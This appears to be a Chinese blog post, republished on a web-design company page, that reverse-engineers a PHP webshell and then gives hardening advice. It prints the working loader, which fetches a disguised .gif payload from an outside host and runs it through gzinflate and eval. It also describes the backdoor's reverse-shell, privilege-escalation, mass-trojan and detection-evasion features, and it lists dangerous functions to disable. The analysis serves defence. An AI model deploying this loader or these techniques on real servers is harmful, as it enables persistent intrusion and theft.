宁波市网站建设_网站建设公司_代码压缩_seo优化
2025/12/26 16:57:50 网站建设 项目流程

逆向解密webshell源码全过程解析

在一次日常的群聊“闲逛”中,一个链接突然弹了出来——附言只有短短一句:“这 webshell 不一般,你看看?”

好奇心瞬间被点燃。不是因为它是后门,而是因为它“不一般”。

点开链接,输入密码登录,眼前一亮:界面居然是全彩设计,带背景图、渐变按钮、折叠菜单,甚至还有动画过渡效果。这哪是传统印象里灰头土脸的文件管理器?分明像某个现代前端框架搭出来的管理后台。

但我知道,再漂亮的皮囊下,也藏不住一段 eval 和 gzinflate 的灵魂。

于是目标明确:我要看到它的真实源码


拿到这份加密脚本后,打开一看,代码短得令人怀疑人生:

<?php $url = 'http://i.niupic.com/images/2017/05/21/v1QR1M.gif'; $get = 'file_get_contents'; $un = 'gzinflate'; $_SESSION['PhpCode'] = $get($url); if (isset($_SESSION['PhpCode'])) { eval($un($_SESSION['PhpCode'])); }

就这么几行?整个功能靠一个.gif文件驱动?

第一反应是:典型的远程载荷加载模式。真正的逻辑不在本地,而在那个看似图片实则二进制 payload 的资源里。

立马尝试访问http://i.niupic.com/images/2017/05/21/v1QR1M.gif—— 返回 404。服务器已经下线或被清理了。

不过好在我拿到了原始文件副本。用wget下载下来,命名为payload.bin,然后 hexdump 一下头部:

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 7D 6E 30 0C 77 3F 41 0A 18 64 2C 1F 50 03 76 1D }n0.w?A..d,.P.v.

这不是 GIF!标准 GIF 头部应该是GIF87aGIF89a,而这里开头是乱码。显然,这个.gif只是用来绕过上传检测的伪装壳。

继续观察 loader 中的关键函数调用:

eval($un($_SESSION['PhpCode']));

其中$un = 'gzinflate';,说明使用的是zlib 压缩流解压函数。这里有个关键区别很多人会混淆:

  • gzcompress()gzuncompress():处理标准 zlib 格式(含 header)
  • gzdeflate()gzinflate():纯 zlib 数据流,无 header
  • gzencode()gzdecode():gzip 格式(带 gzip header)

所以从gzinflate()推断,服务端极有可能用了gzdeflate()对原始 PHP 脚本进行压缩,并将输出直接写入该“图片”文件。

这意味着我们只需要反向操作即可还原:

$data = file_get_contents('payload.bin'); $source = gzinflate($data); file_put_contents('webshell.php', $source);

说干就干,新建decode.php执行上述代码。

结果——成功生成webshell.php

虽然变量名全是$a,$b,$c这类混淆命名,字符串也都经过层层编码(比如'axsxxsxexrxxt'实际是为了绕过检测拼出assert),但结构清晰可见。

去除干扰代码后,核心架构浮出水面。


这个 webshell 并非简单的命令执行入口,而是一个高度模块化、具备完整交互能力的渗透平台。其主要功能包括以下几个部分:

文件管理系统

支持完整的目录浏览与操作:
- 列出所有磁盘(Windows 下自动识别 C:\, D:\ 等)
- 文件上传下载、重命名、删除、打包为 zip、解压
- 按类型显示图标(.php显示小齿轮,.jpg显示相册等)

有意思的是,它还内置了一个“静默上传”机制:上传.php文件时自动改名为.phP.phtml,避开某些 Nginx 的默认解析规则黑名单。

数据库管理模块

集成 MySQL 客户端功能:
- 支持连接多个数据库实例
- 执行 SQL 查询并分页展示结果
- 提供快捷工具如load_file('/etc/passwd')into outfile写 WebShell

更进一步,还能通过select ... into dumpfile将二进制 payload 写入系统路径,实现提权或持久化驻留。

命令执行与提权

支持多种 PHP 执行函数切换(exec,system,shell_exec,passthru),根据当前环境启用最合适的通道。

内建常用渗透命令模板:
- NC 反弹 shell(自动生成监听指令)
- 端口扫描(调用fsockopen实现非阻塞探测)
- 查看用户权限、系统信息、进程列表

甚至集成了 Serv-U FTP 服务提权脚本,针对老旧 Windows 服务器一键获取 SYSTEM 权限。

批量挂马与清痕

可指定目录和文件类型(如.php,.html)批量插入恶意代码:
- 插入<iframe src="http://xxx"></iframe>
- 在每行 PHP 文件末尾添加一句话木马
- 使用正则替换清除特定特征字符串(用于事后擦除痕迹)

这种“攻防一体”的设计理念,明显出自经验丰富的红队人员之手。

在线代理功能

实现了一个简易 HTTP 代理网关:
- 接收外部请求参数(URL、method、headers)
- 由当前服务器发起 curl 请求并返回内容
- 日志记录的是目标站点看到的 IP —— 即被入侵服务器的公网 IP

这就意味着攻击者可以利用此接口匿名访问第三方网站,规避追踪。

插件扩展机制

采用注册表模式动态加载功能模块:

$plugins = [ 'getcode' => ['name'=>'获取源码', 'func'=>'plugin_getcode'], 'portscan' => ['name'=>'端口扫描', 'func'=>'plugin_portscan'] ];

前端通过 AJAX 动态渲染菜单栏,新增功能无需修改主界面结构。这种设计思路,已经非常接近现代插件化应用架构。


从安全对抗角度看,这类 webshell 已经脱离了早期“一句话木马”的粗糙形态,进化成了真正的“远程控制终端”。它的设计哲学体现在三个维度:

隐蔽性拉满

  • 主体代码完全不在目标服务器上,仅保留轻量级 loader
  • 利用.gif后缀欺骗运维人员和 WAF 规则
  • 关键函数名通过字符串拼接绕过关键字检测(如"ass"."ert"
  • 加载过程依赖 session 存储,避免写入临时文件触发监控

很多静态扫描工具看到这个 loader,只会标记“可疑远程加载”,却无法判定具体行为,从而逃过告警。

控制链韧性高

即使主站被封,只要 payload 托管地址仍可访问(例如部署在免费图床、GitHub Pages、CDN 加速节点),就能持续维持连接。

高级版本还会配置多级 fallback 地址,形成“跳板链”,即使第一个失效也能自动切换。

更有甚者,结合 DNS 回传技术做心跳检测,实现域名轮换更新。

维护成本极低

一旦大规模植入此类后门,只需在远端更新一次 payload,所有已部署节点都会在下次访问时自动拉取新版本。

不需要重新上传文件,也不需要逐个修改配置,非常适合 APT 攻击中的长期潜伏场景。


面对这种新型威胁,传统的防篡改方案几乎失效。你可能设置了文件完整性校验,但它根本没写文件;你启用了上传白名单,但它连上传都不需要。

那怎么办?

必须转向运行时防护

1. 禁用非必要函数

php.ini中关闭以下高危函数:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,gzinflate,assert

特别注意gzinflate—— 正常业务系统极少使用该函数。如果项目中没有明确依赖,建议直接禁用。

同理,file_get_contents允许读取远程资源,也应严格限制。

2. 关闭远程包含与 fopen URL

allow_url_fopen = Off allow_url_include = Off

这两项关闭后,file_get_contents('http://...')将无法执行,从根本上切断远程载荷注入路径。

3. 强化日志审计策略

重点关注以下异常行为:
-$_SESSION中存储大量非文本数据(尤其是二进制内容)
- 访问/tmp/uploads等目录并创建.php.gz类似文件
- 外联请求到免费图床、动态域名、短网址服务等可疑地址

可通过 ELK 或 Splunk 建立关联分析规则,及时发现横向移动迹象。

4. 部署 RASP(运行时应用自保护)

推荐使用开源方案如 OpenRASP:

  • 实时监控eval(gzinflate(...))这类组合调用
  • 拦截file_get_contents + base64_decode + eval链式攻击
  • 支持自定义策略,精准识别恶意行为而不误杀正常逻辑

相比 WAF 的被动防御,RASP 更像是给应用程序装上了“免疫系统”。

5. 定期检查网络连接与进程状态

使用netstat -antp查看是否有异常外连(特别是连接到 VPS、云主机的 4444、5555 等常见反弹端口)。

同时排查定时任务(crontab -l)、启动项(/etc/rc.local)、隐藏进程(ps aux | grep ^\.|grep -v grep)等持久化手段。


最后,我想说的是:技术本身并无善恶。

同样的gzinflate+eval组合,在黑客手中是武器,在开发者手里也可以是热更新机制。

有些 CMS 使用类似方式动态加载远程插件包;微服务架构中也有通过压缩流传输模块的做法;甚至某些 A/B 测试平台会实时下发脚本调整页面逻辑。

差别只在于:是否可控、是否可信、是否有审计。

所以我整理了一个简化版的安全 loader 示例,仅供学习参考:

<?php // 示例:安全可控的远程模块加载器(生产环境请加签名验证) $remote_url = 'https://trusted-cdn.example.com/module_v1.php.gz'; $local_cache = '/var/cache/remote_module.php'; $public_key = '-----BEGIN PUBLIC KEY-----...'; if (!file_exists($local_cache)) { $compressed = @file_get_contents($remote_url); if (!$compressed) { die("Failed to fetch module"); } // 可选:验证数字签名 // if (!verify_signature($compressed, $signature, $public_key)) { // die("Invalid signature"); // } $source = @gzinflate($compressed); if (!$source || !preg_match('/^<\?php/', $source)) { die("Invalid module format"); } // 可选:沙箱语法检查 $tokens = token_get_all($source); foreach ($tokens as $token) { if (is_array($token) && in_array($token[0], [T_EVAL, T_ASSERT])) { die("Dangerous construct detected"); } } file_put_contents($local_cache, $source); } include $local_cache;

重点在于:
- 来源必须可信(HTTPS + 固定域名)
- 必须有完整性校验(签名或哈希)
- 加载前做语法分析,防止危险构造
- 缓存本地化,减少对外依赖


这次逆向之旅,表面上是在拆解一个 webshell,实则是对现代攻击手法的一次深度复盘。

我们不能只盯着“谁写了这个工具”,更要思考“为什么它能成功”。

防御的本质,从来不是堵住每一个漏洞,而是建立起一套纵深、动态、可演进的安全体系

记住一句话:

能力越大,责任越重。

你掌握的技术,决定了你能走多远;
你的选择,决定了你去往何方。


I’m Sievr.
逆向不止于代码,更在于思维。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询